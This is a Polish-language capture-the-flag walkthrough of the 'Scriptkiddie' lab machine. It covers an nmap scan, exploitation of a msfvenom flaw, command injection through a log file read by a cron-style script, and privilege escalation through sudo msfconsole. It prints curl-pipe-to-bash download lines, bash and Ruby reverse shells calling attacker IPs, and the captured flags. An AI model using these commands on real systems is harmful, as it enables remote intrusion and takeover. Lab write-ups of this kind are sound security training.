Scriptkiddie - 30.08.2021


NMap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5

Strona główna


Searchsploit

Można spróbować wykorzystać sam msfvenom, który jest używany przez stronę, ten exploit umożliwa wykonywanie komend.

payload = 'curl http://10.10.14.23:8081/test.sh|bash'

Jak widać, serwer próbuje pobrać plik test.sh. Teraz wystarczy umieścić tam kod reverse shella na ustalony port.

np.bash -i >& /dev/tcp/10.10.14.23/4444 0>&1

Momentalnie otrzymany został shell.

user.txt

f7bf63abec2ca5fd2f15cc7865ced787


Użytkownicy:

kid

pwn


scanlosers.sh

#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi


Program zczytuje z pliku hackers adresy ip, które wpisały w polu na stronie znaki niedozwolone. Można to wykorzystać.

Plan działania to command injection w miejsce zmiennych ip

cut -d ' ' ucina po spacjach, więc potrzebne będą słowa “zapychacze”. Wykorzystać można poprzedni plik test.sh z reverse shellem.

echo "slowo1 slowo2 ;curl http://10.10.14.23:8081/test.sh|bash #" > hackers

Otrzymany shell:


Privilege Escalation

Teraz należy z użytkownika pwn stać się rootem.

sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
	

Prosta droga do roota

sudo msfconsole 										W TEORII JUŻ JEST POSIADANY ROOT I MOŻNA ODCZYTAĆ FLAGĘ, ALE DLA CZYTELNOŚCI MOŻNA STWORZYĆ NOWY SHELL
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

EDIT:

WYSTARCZYŁO WPISAĆ /bin/sh albo irb (interaktywny shell ruby)

root.txt

ec819f96c8890d12009470ee5e8907a7